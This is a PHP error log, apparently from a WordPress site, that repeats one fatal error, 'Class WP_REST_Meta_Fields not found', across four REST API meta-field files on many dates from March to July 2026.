[05-Mar-2026 09:44:39 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[05-Mar-2026 09:44:39 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[05-Mar-2026 09:44:40 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[05-Mar-2026 09:44:40 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[06-Apr-2026 23:51:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[06-Apr-2026 23:51:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[06-Apr-2026 23:51:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[06-Apr-2026 23:51:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[06-Apr-2026 23:59:19 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[06-Apr-2026 23:59:19 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[06-Apr-2026 23:59:20 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[06-Apr-2026 23:59:20 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[13-Apr-2026 17:08:05 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[13-Apr-2026 17:08:05 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[13-Apr-2026 17:08:05 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[13-Apr-2026 17:08:05 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[15-Apr-2026 00:22:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[15-Apr-2026 00:22:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[15-Apr-2026 00:22:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[15-Apr-2026 00:22:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[15-Apr-2026 00:30:28 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[15-Apr-2026 00:30:28 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[15-Apr-2026 00:30:28 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[15-Apr-2026 00:30:29 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[26-Apr-2026 21:49:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[26-Apr-2026 21:49:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[26-Apr-2026 21:49:55 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[26-Apr-2026 21:49:55 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[23-May-2026 02:36:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[23-May-2026 02:36:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[23-May-2026 02:36:26 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[23-May-2026 02:36:27 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[27-May-2026 15:22:49 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[27-May-2026 15:22:49 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[27-May-2026 15:22:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[27-May-2026 15:22:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[27-May-2026 15:33:29 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[27-May-2026 15:33:30 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[27-May-2026 15:33:30 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[27-May-2026 15:33:31 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[12-Jun-2026 13:44:04 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[12-Jun-2026 13:44:04 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[12-Jun-2026 13:44:04 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[12-Jun-2026 13:44:04 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[12-Jun-2026 13:52:55 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[12-Jun-2026 13:52:55 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[12-Jun-2026 13:52:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[12-Jun-2026 13:52:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[22-Jun-2026 08:57:12 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[22-Jun-2026 08:57:12 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[22-Jun-2026 08:57:12 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[22-Jun-2026 08:57:12 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[22-Jun-2026 09:05:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[22-Jun-2026 09:05:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[22-Jun-2026 09:05:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[22-Jun-2026 09:05:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[05-Jul-2026 02:39:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[05-Jul-2026 02:39:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[05-Jul-2026 02:39:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[05-Jul-2026 02:39:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[05-Jul-2026 02:47:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[05-Jul-2026 02:47:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[05-Jul-2026 02:47:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[05-Jul-2026 02:47:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[12-Jul-2026 06:31:01 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[12-Jul-2026 06:31:01 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[12-Jul-2026 06:31:01 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[12-Jul-2026 06:31:01 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[12-Jul-2026 06:39:04 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[12-Jul-2026 06:39:04 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[12-Jul-2026 06:39:05 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[12-Jul-2026 06:39:05 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[21-Jul-2026 09:01:22 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[21-Jul-2026 09:01:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[21-Jul-2026 09:01:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[21-Jul-2026 09:01:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[21-Jul-2026 09:09:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[21-Jul-2026 09:09:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[21-Jul-2026 09:09:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[21-Jul-2026 09:09:55 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[25-Jul-2026 23:15:06 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[25-Jul-2026 23:15:07 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[25-Jul-2026 23:15:07 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[25-Jul-2026 23:15:07 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[25-Jul-2026 23:22:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[25-Jul-2026 23:22:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
